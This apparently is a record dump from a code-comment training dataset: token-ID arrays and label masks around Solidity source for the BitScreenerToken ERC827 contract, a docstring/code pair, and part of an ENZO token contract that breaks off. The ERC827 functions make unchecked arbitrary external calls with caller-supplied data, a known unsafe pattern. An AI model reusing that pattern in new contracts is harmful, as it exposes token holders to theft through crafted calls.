0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
445,
775,
7244,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
203,
5411,
2713,
203,
5411,
16618,
203,
5411,
1135,
261,
6430,
16,
2254,
5034,
13,
203,
3639,
288,
203,
5411,
309,
261,
70,
422,
374,
13,
327,
261,
5743,
16,
374,
1769,
203,
5411,
327,
261,
3767,
16,
279,
342,
324,
1769,
203,
3639,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.23;
/*
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN0xc,..,lxKNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXOo:'........':dOXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMN0xl,....';:,........;lxKNMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMWXOo:'....,:lxOk:...........':dOXWMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMNKxl;.....;cokOOOOd;...............;lkKWMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMWXOd:'....':lxkOOOkdc;'...................':dONWMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMWKkl;.....,coxOOOOxo:,...........................;lkKWMMMMMMMMMMMMM
MMMMMMMMMWNOdc'....':ldkOOOkdl;'.................................,cd0NWMMMMMMMMM
MMMMMMWKkl;.....,coxOOOOxoc,.........................................;okXWMMMMMM
MMMMXxc,....';ldkOOOkdl;'...............................................,ckNMMMM
MMMM0;...'coxOOOOxoc,.....................................................;0MMMM
MMMM0;..'oOOOkdl:'................................,;,,.............':l:...;0MMMM
MMMM0;..'oOOOl'..................................,dOOd,...........:xOOo...;0MMMM
MMMM0;..'oOOOc...':ccccccccccccc:;,...........';:okOOkl:;'........lOOOo...;0MMMM
MMMM0;..'oOOOc...;k0OOOOOOOOOOOOOOko;......':oxOOOOOOOOOOxo:'.....lOOOo'..;0MMMM
MMMM0;..'oOOOc...':lxOOkocccccccoxOOk:....,dOOOkdolclloxkOOOd,....lOOOo...;0MMMM
MMMM0;..'oOOOc......lOOk;........:xOOd'...lOOOd;........;okxl,....lOOOo...;0MMMM
MMMM0;..'oOOOc......lOOk;........:xOOo'...lOOOd;'.........,.......lOOOo...;0MMMM
MMMM0;..'oOOOc......lOOOocccccclokOOd;....,dO0Okxdolc:;,'.........lOOOo...;0MMMM
MMMM0;..'oOOOc......lOOOOOOOOOOOOOOx:......':oxkOOOOOOOkxdl;'.....lOOOo...;0MMMM
MMMM0;..'oOOOc......lOOOdccccccldkOOxc.........,;:clodxkOOOOd;....lOOOo...;0MMMM
MMMM0;..'oOOOc......lOOk;........,dOOk:................,:dOOOo'...lOOOo...;0MMMM
MMMM0;..'oOOOc......lOOk:.........cOOOl'.,coxl'..........ckOOx,...lOOOo...;0MMMM
MMMM0;..'oOOOc....',oOOkc'''''',;lxOOkc..;xOOOxoc:;,,;:cokOOkl....lOOOo...;0MMMM
MMMM0;..'oOOOc...;dkOOOOkkkkxkkkOOOOkc'...,lxOOOOOOkOOOOOOkd:.....lOOOo...;0MMMM
MMMM0;..'oOOOc...;dxxxxxxxxxxxxxxdoc,.......';codxOOOOxdlc;.......lOOOo...;0MMMM
MMMM0;..'oOOkc.....'''''''''''''.................;xO0x;...........lOOOo...;0MMMM
MMMM0;..'lxl:'...................................':cc:.........';lxOOOo...;0MMMM
MMMM0;...''.................................................,:oxOOOOko;...;0MMMM
MMMMKl'.................................................';ldkOOOkxl:'....'oXMMMM
MMMMMNKxl,...........................................,:oxOOOOkoc;'....;lxKWMMMMM
MMMMMMMMWXOo:'...................................';cdkOOOkxl:,....':dOXWMMMMMMMM
MMMMMMMMMMMMN0xc,.............................,:lxkOOOkdc;'....,lxKNMMMMMMMMMMMM
MMMMMMMMMMMMMMMWXko:'.....................';cdkOOOkxo:,....':oOXWMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMN0xc,...............,:lxkOOOkdc;'....,cx0NMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMWXko;'...........:xkOOxo:,....':oOXWMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMWN0xc,........;ool;'....,cx0NMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKko;............;okXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWN0dc,....,cd0NMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNOl;;l0NMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
*/
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title MultiOwnable
* @dev The MultiOwnable contract has owners addresses and provides basic authorization control
* functions, this simplifies the implementation of "users permissions".
*/
contract MultiOwnable {
address public manager; // address used to set owners
address[] public owners;
mapping(address => bool) public ownerByAddress;
event SetOwners(address[] owners);
modifier onlyOwner() {
require(ownerByAddress[msg.sender] == true);
_;
}
/**
* @dev MultiOwnable constructor sets the manager
*/
constructor() public {
manager = msg.sender;
}
/**
* @dev Function to set owners addresses
*/
function setOwners(address[] _owners) public {
require(msg.sender == manager);
_setOwners(_owners);
}
function _setOwners(address[] _owners) internal {
for(uint256 i = 0; i < owners.length; i++) {
ownerByAddress[owners[i]] = false;
}
for(uint256 j = 0; j < _owners.length; j++) {
ownerByAddress[_owners[j]] = true;
}
owners = _owners;
emit SetOwners(_owners);
}
function getOwners() public view returns (address[]) {
return owners;
}
}
/* solium-disable security/no-low-level-calls */
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title ERC827 interface, an extension of ERC20 token standard
*
* @dev Interface of a ERC827 token, following the ERC20 standard with extra
* @dev methods to transfer value and data and execute calls in transfers and
* @dev approvals.
*/
contract ERC827 is ERC20 {
function approveAndCall(
address _spender,
uint256 _value,
bytes _data
)
public
payable
returns (bool);
function transferAndCall(
address _to,
uint256 _value,
bytes _data
)
public
payable
returns (bool);
function transferFromAndCall(
address _from,
address _to,
uint256 _value,
bytes _data
)
public
payable
returns (bool);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title ERC827, an extension of ERC20 token standard
*
* @dev Implementation the ERC827, following the ERC20 standard with extra
* @dev methods to transfer value and data and execute calls in transfers and
* @dev approvals.
*
* @dev Uses OpenZeppelin StandardToken.
*/
contract ERC827Token is ERC827, StandardToken {
/**
* @dev Addition to ERC20 token methods. It allows to
* @dev approve the transfer of value and execute a call with the sent data.
*
* @dev Beware that changing an allowance with this method brings the risk that
* @dev someone may use both the old and the new allowance by unfortunate
* @dev transaction ordering. One possible solution to mitigate this race condition
* @dev is to first reduce the spender's allowance to 0 and set the desired value
* @dev afterwards:
* @dev https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* @param _spender The address that will spend the funds.
* @param _value The amount of tokens to be spent.
* @param _data ABI-encoded contract call to call `_to` address.
*
* @return true if the call function was executed successfully
*/
function approveAndCall(
address _spender,
uint256 _value,
bytes _data
)
public
payable
returns (bool)
{
require(_spender != address(this));
super.approve(_spender, _value);
// solium-disable-next-line security/no-call-value
require(_spender.call.value(msg.value)(_data));
return true;
}
/**
* @dev Addition to ERC20 token methods. Transfer tokens to a specified
* @dev address and execute a call with the sent data on the same transaction
*
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
* @param _data ABI-encoded contract call to call `_to` address.
*
* @return true if the call function was executed successfully
*/
function transferAndCall(
address _to,
uint256 _value,
bytes _data
)
public
payable
returns (bool)
{
require(_to != address(this));
super.transfer(_to, _value);
// solium-disable-next-line security/no-call-value
require(_to.call.value(msg.value)(_data));
return true;
}
/**
* @dev Addition to ERC20 token methods. Transfer tokens from one address to
* @dev another and make a contract call on the same transaction
*
* @param _from The address which you want to send tokens from
* @param _to The address which you want to transfer to
* @param _value The amout of tokens to be transferred
* @param _data ABI-encoded contract call to call `_to` address.
*
* @return true if the call function was executed successfully
*/
function transferFromAndCall(
address _from,
address _to,
uint256 _value,
bytes _data
)
public payable returns (bool)
{
require(_to != address(this));
super.transferFrom(_from, _to, _value);
// solium-disable-next-line security/no-call-value
require(_to.call.value(msg.value)(_data));
return true;
}
/**
* @dev Addition to StandardToken methods. Increase the amount of tokens that
* @dev an owner allowed to a spender and execute a call with the sent data.
*
* @dev approve should be called when allowed[_spender] == 0. To increment
* @dev allowed value is better to use this function to avoid 2 calls (and wait until
* @dev the first transaction is mined)
* @dev From MonolithDAO Token.sol
*
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
* @param _data ABI-encoded contract call to call `_spender` address.
*/
function increaseApprovalAndCall(
address _spender,
uint _addedValue,
bytes _data
)
public
payable
returns (bool)
{
require(_spender != address(this));
super.increaseApproval(_spender, _addedValue);
// solium-disable-next-line security/no-call-value
require(_spender.call.value(msg.value)(_data));
return true;
}
/**
* @dev Addition to StandardToken methods. Decrease the amount of tokens that
* @dev an owner allowed to a spender and execute a call with the sent data.
*
* @dev approve should be called when allowed[_spender] == 0. To decrement
* @dev allowed value is better to use this function to avoid 2 calls (and wait until
* @dev the first transaction is mined)
* @dev From MonolithDAO Token.sol
*
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
* @param _data ABI-encoded contract call to call `_spender` address.
*/
function decreaseApprovalAndCall(
address _spender,
uint _subtractedValue,
bytes _data
)
public
payable
returns (bool)
{
require(_spender != address(this));
super.decreaseApproval(_spender, _subtractedValue);
// solium-disable-next-line security/no-call-value
require(_spender.call.value(msg.value)(_data));
return true;
}
}
contract BitScreenerToken is ERC827Token, MultiOwnable {
string public name = 'BitScreenerToken';
string public symbol = 'BITX';
uint8 public decimals = 18;
uint256 public totalSupply;
address public owner;
bool public allowTransfers = false;
bool public issuanceFinished = false;
event AllowTransfersChanged(bool _newState);
event Issue(address indexed _to, uint256 _value);
event Burn(address indexed _from, uint256 _value);
event IssuanceFinished();
modifier transfersAllowed() {
require(allowTransfers);
_;
}
modifier canIssue() {
require(!issuanceFinished);
_;
}
constructor(address[] _owners) public {
_setOwners(_owners);
}
/**
* @dev Enable/disable token transfers. Can be called only by owners
* @param _allowTransfers True - allow False - disable
*/
function setAllowTransfers(bool _allowTransfers) external onlyOwner {
allowTransfers = _allowTransfers;
emit AllowTransfersChanged(_allowTransfers);
}
function transfer(address _to, uint256 _value) public transfersAllowed returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public transfersAllowed returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function transferAndCall(address _to, uint256 _value, bytes _data) public payable transfersAllowed returns (bool) {
return super.transferAndCall(_to, _value, _data);
}
function transferFromAndCall(address _from, address _to, uint256 _value, bytes _data) public payable transfersAllowed returns (bool) {
return super.transferFromAndCall(_from, _to, _value, _data);
}
/**
* @dev Issue tokens to specified wallet
* @param _to Wallet address
* @param _value Amount of tokens
*/
function issue(address _to, uint256 _value) external onlyOwner canIssue returns (bool) {
totalSupply = totalSupply.add(_value);
balances[_to] = balances[_to].add(_value);
emit Issue(_to, _value);
emit Transfer(address(0), _to, _value);
return true;
}
/**
* @dev Finish token issuance
* @return True if success
*/
function finishIssuance() public onlyOwner returns (bool) {
issuanceFinished = true;
emit IssuanceFinished();
return true;
}
/**
* @dev Burn tokens
* @param _value Amount of tokens to burn
*/
function burn(uint256 _value) external {
require(balances[msg.sender] >= _value);
totalSupply = totalSupply.sub(_value);
balances[msg.sender] = balances[msg.sender].sub(_value);
emit Transfer(msg.sender, address(0), _value);
emit Burn(msg.sender, _value);
}
}
|
* @dev MultiOwnable constructor sets the manager/
|
constructor() public {
manager = msg.sender;
}
| 1,725,111 |
[
1,
5002,
5460,
429,
3885,
1678,
326,
3301,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
3885,
1435,
1071,
288,
203,
565,
3301,
273,
1234,
18,
15330,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20Basic {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping (address => uint256) balances;
/**
* Protection against short address attack
*/
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length == numwords * 32 + 4);
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public onlyPayloadSize(2) returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(transfersEnabled);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(transfersEnabled);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
}
else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnerChanged(address indexed previousOwner, address indexed newOwner);
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function changeOwner(address _newOwner) onlyOwner internal {
require(_newOwner != address(0));
emit OwnerChanged(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
string public constant name = "ENZO";
string public constant symbol = "NZO";
uint8 public constant decimals = 18;
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount, address _owner) canMint internal returns (bool) {
balances[_to] = balances[_to].add(_amount);
balances[_owner] = balances[_owner].sub(_amount);
emit Mint(_to, _amount);
emit Transfer(_owner, _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint internal returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
/**
* Peterson's Law Protection
* Claim tokens
*/
function claimTokens(address _token) public onlyOwner {
if (_token == 0x0) {
owner.transfer(address(this).balance);
return;
}
MintableToken token = MintableToken(_token);
uint256 balance = token.balanceOf(this);
token.transfer(owner, balance);
emit Transfer(_token, owner, balance);
}
}
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where investors can make
* token purchases. Funds collected are forwarded to a wallet
* as they arrive.
*/
contract Crowdsale is Ownable {
using SafeMath for uint256;
// address where funds are collected
address public wallet;
// amount of raised money in wei
